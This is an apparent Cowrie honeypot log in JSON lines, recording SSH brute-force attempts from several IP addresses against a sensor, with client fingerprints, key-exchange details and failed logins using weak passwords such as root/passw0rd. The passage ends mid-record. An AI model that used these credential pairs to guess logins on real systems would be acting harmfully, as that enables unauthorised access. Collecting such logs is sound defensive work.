{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:74:00:0c:4e:4b:31:49:31:68:e1:9f:29:4e:fb:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgU0zC5rtJNzrjZt+amVdCY6EyoxmAfOr/1dSFAVguCusghHETkvR6+Zp6QOz749VgWmVyJVjKpiGF9Lr2IAUqx1iXdllyvlOBXOeXN1NuiLuI9zxxaHYHISqmMP001yPNaI9bK6H734Tl9wWYFXjlOArLFIy0grVBUCpxRuQd1WY8W5CptO8GvcfpRgSkIe1TDaROWmAIRxoU6XCwnGhu+s+N5fHkOufQghM+RhhAyBeb7lyK/NHs/cFhQ9RIpH3rvAmsDnefy7LXzlcleJ82RqBAjCe/9whew3mrgAUO5S4AiPfwFpmqIL9FbvHwZAVwTyVqDj9B5c5MhYEgngn3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:74:00:0c:4e:4b:31:49:31:68:e1:9f:29:4e:fb:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:07.193411Z","src_ip":"151.237.79.243","session":"d90641b7874b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:74:00:0c:4e:4b:31:49:31:68:e1:9f:29:4e:fb:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgU0zC5rtJNzrjZt+amVdCY6EyoxmAfOr/1dSFAVguCusghHETkvR6+Zp6QOz749VgWmVyJVjKpiGF9Lr2IAUqx1iXdllyvlOBXOeXN1NuiLuI9zxxaHYHISqmMP001yPNaI9bK6H734Tl9wWYFXjlOArLFIy0grVBUCpxRuQd1WY8W5CptO8GvcfpRgSkIe1TDaROWmAIRxoU6XCwnGhu+s+N5fHkOufQghM+RhhAyBeb7lyK/NHs/cFhQ9RIpH3rvAmsDnefy7LXzlcleJ82RqBAjCe/9whew3mrgAUO5S4AiPfwFpmqIL9FbvHwZAVwTyVqDj9B5c5MhYEgngn3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:07.197623Z","src_ip":"151.237.79.243","session":"d90641b7874b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:65:60:ce:18:0d:14:62:50:35:3d:90:2e:77:3c:7b","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOoJ+mCD5V/iNQnNKB+VtJKA4zAHDWp0u17iZm4+1nk2baue6PkLo5Ef7NZduwaPQgWHtliM0lsMssUohxbbq5W5hTUXTWXbhfNkjabqVn9o/egqS2lUxLj1o8/2BcAMJHD0LqH3i06S0YBy0QGt7by98Eoa8tik8+BnbdcxKxQ3AAAAFQD9FFp25H0T5sTJ1g7X4ngEvn75eQAAAIBdF+kb2EOGNneCVr143ywkujY/lcZAY+R9TjaOQ05hysvuZHXtmMpsOTIEFhM6s5H/tA5XgBe1MEzQ27AVRQryI12DVF11PvAv31CQiJPu4kER7IRM1SKhJSXMAyc+efzlOSq1Xf2cLhdvwusjmfqx89RTRzn3pAA1A8/8XZFPqAAAAIABpaZLsIC2nhgQY55awQt/ygQK99mcvDbY0hGLpWRSfzMrxObNHE1CA2hVDDmcYzRvO4aRlmB/+L5pv9bAqX1CVoaXkAHTlKXTvj7mQo3UOKCtt5v1/dOoHAT18QnpfF7z/OPGy3YPwItVk0HCAVWdZQDlHvfpFNwGhdDeqcCwSQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 5e:65:60:ce:18:0d:14:62:50:35:3d:90:2e:77:3c:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:07.321544Z","src_ip":"151.237.79.243","session":"d90641b7874b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:65:60:ce:18:0d:14:62:50:35:3d:90:2e:77:3c:7b","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOoJ+mCD5V/iNQnNKB+VtJKA4zAHDWp0u17iZm4+1nk2baue6PkLo5Ef7NZduwaPQgWHtliM0lsMssUohxbbq5W5hTUXTWXbhfNkjabqVn9o/egqS2lUxLj1o8/2BcAMJHD0LqH3i06S0YBy0QGt7by98Eoa8tik8+BnbdcxKxQ3AAAAFQD9FFp25H0T5sTJ1g7X4ngEvn75eQAAAIBdF+kb2EOGNneCVr143ywkujY/lcZAY+R9TjaOQ05hysvuZHXtmMpsOTIEFhM6s5H/tA5XgBe1MEzQ27AVRQryI12DVF11PvAv31CQiJPu4kER7IRM1SKhJSXMAyc+efzlOSq1Xf2cLhdvwusjmfqx89RTRzn3pAA1A8/8XZFPqAAAAIABpaZLsIC2nhgQY55awQt/ygQK99mcvDbY0hGLpWRSfzMrxObNHE1CA2hVDDmcYzRvO4aRlmB/+L5pv9bAqX1CVoaXkAHTlKXTvj7mQo3UOKCtt5v1/dOoHAT18QnpfF7z/OPGy3YPwItVk0HCAVWdZQDlHvfpFNwGhdDeqcCwSQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:07.324804Z","src_ip":"151.237.79.243","session":"d90641b7874b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:e3:26:cd:db:ab:5a:df:14:d5:07:0e:0f:96:e6:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy7uy2zOWwgNGndqTk4azHQ0jbImJMczR75kIxonS0OpQT54Q0PK4P73wsPXlhHxzXV4VEKmBj27LyDmL3+5Rc4zZfN1+mEfqUQ7ZJs5VP2X4KkCWNj0sfxJvr1c31/7oycj7xfrZw/SEe4FAnTxxMGTdp1qrb76ucdsrvhU3cpLSsMGhDb4UV+aac/KKPdWFb2cJdekmMWIG/Uma2RpAFo5v0NqlzJDZn0giknz3xfQ1G8Zk3zCPEdoXfUXsY9gEsl2HYjrk1J+pclCXK3VZJkFbsLz4bHGfSJWirrvQO/zhb9Iv4Q2/Z0d+RuYnRTQnlhGh0kKowKtFEW1yK2MLvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:e3:26:cd:db:ab:5a:df:14:d5:07:0e:0f:96:e6:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:07.447531Z","src_ip":"151.237.79.243","session":"d90641b7874b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:e3:26:cd:db:ab:5a:df:14:d5:07:0e:0f:96:e6:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy7uy2zOWwgNGndqTk4azHQ0jbImJMczR75kIxonS0OpQT54Q0PK4P73wsPXlhHxzXV4VEKmBj27LyDmL3+5Rc4zZfN1+mEfqUQ7ZJs5VP2X4KkCWNj0sfxJvr1c31/7oycj7xfrZw/SEe4FAnTxxMGTdp1qrb76ucdsrvhU3cpLSsMGhDb4UV+aac/KKPdWFb2cJdekmMWIG/Uma2RpAFo5v0NqlzJDZn0giknz3xfQ1G8Zk3zCPEdoXfUXsY9gEsl2HYjrk1J+pclCXK3VZJkFbsLz4bHGfSJWirrvQO/zhb9Iv4Q2/Z0d+RuYnRTQnlhGh0kKowKtFEW1yK2MLvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:07.452749Z","src_ip":"151.237.79.243","session":"d90641b7874b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:07.577735Z","src_ip":"151.237.79.243","session":"d90641b7874b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60226,"dst_ip":"10.17.0.5","dst_port":22,"session":"99990673f439","protocol":"ssh","message":"New connection: 8.218.166.49:60226 (10.17.0.5:22) [session: 99990673f439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:27.630919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:28.184425Z","src_ip":"8.218.166.49","session":"99990673f439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:28.189791Z","src_ip":"8.218.166.49","session":"99990673f439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:29.885783Z","src_ip":"8.218.166.49","session":"99990673f439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:31.175239Z","src_ip":"8.218.166.49","session":"99990673f439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55006,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba6f51360e6c","protocol":"ssh","message":"New connection: 8.218.166.49:55006 (10.17.0.5:22) [session: ba6f51360e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:55.891336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:57.382613Z","src_ip":"8.218.166.49","session":"ba6f51360e6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:57.386344Z","src_ip":"8.218.166.49","session":"ba6f51360e6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":29669,"dst_ip":"10.17.0.5","dst_port":22,"session":"35ae79a323d2","protocol":"ssh","message":"New connection: 178.20.210.186:29669 (10.17.0.5:22) [session: 35ae79a323d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:59:04.567445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:59:04.572874Z","src_ip":"178.20.210.186","session":"35ae79a323d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:59:04.669629Z","src_ip":"178.20.210.186","session":"35ae79a323d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zyad1234","message":"login attempt [root/zyad1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:59:05.062867Z","src_ip":"178.20.210.186","session":"35ae79a323d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:59:06.164956Z","src_ip":"178.20.210.186","session":"35ae79a323d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:59:16.455368Z","src_ip":"8.218.166.49","session":"ba6f51360e6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":41628,"dst_ip":"10.17.0.5","dst_port":22,"session":"79ba0ceb2f2b","protocol":"ssh","message":"New connection: 8.218.166.49:41628 (10.17.0.5:22) [session: 79ba0ceb2f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:59:25.810629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:59:25.815769Z","src_ip":"8.218.166.49","session":"79ba0ceb2f2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00179386138916,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:59:27.413377Z","src_ip":"45.181.139.217","session":"31f795a72d51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":58362,"dst_ip":"10.17.0.5","dst_port":22,"session":"7689ff4f89ca","protocol":"ssh","message":"New connection: 8.218.166.49:58362 (10.17.0.5:22) [session: 7689ff4f89ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:59:34.821728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:59:34.827944Z","src_ip":"8.218.166.49","session":"7689ff4f89ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:59:35.457342Z","src_ip":"8.218.166.49","session":"7689ff4f89ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:59:41.288558Z","src_ip":"8.218.166.49","session":"7689ff4f89ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":58376,"dst_ip":"10.17.0.5","dst_port":22,"session":"b55a94c62709","protocol":"ssh","message":"New connection: 8.218.166.49:58376 (10.17.0.5:22) [session: b55a94c62709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:59:42.462898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:59:42.468153Z","src_ip":"8.218.166.49","session":"b55a94c62709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"53.3","message":"Connection lost after 53.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:59:49.160135Z","src_ip":"8.218.166.49","session":"ba6f51360e6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55222,"dst_ip":"10.17.0.5","dst_port":22,"session":"265d52046551","protocol":"ssh","message":"New connection: 8.218.166.49:55222 (10.17.0.5:22) [session: 265d52046551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:00:04.417577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:00:04.425399Z","src_ip":"8.218.166.49","session":"265d52046551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:00:05.669371Z","src_ip":"8.218.166.49","session":"265d52046551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:00:16.341302Z","src_ip":"8.218.166.49","session":"265d52046551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.9","message":"Connection lost after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:00:18.275023Z","src_ip":"8.218.166.49","session":"265d52046551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":47094,"dst_ip":"10.17.0.5","dst_port":22,"session":"59cf5bc257b8","protocol":"ssh","message":"New connection: 8.218.166.49:47094 (10.17.0.5:22) [session: 59cf5bc257b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:00:25.869036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:00:28.328591Z","src_ip":"8.218.166.49","session":"59cf5bc257b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256"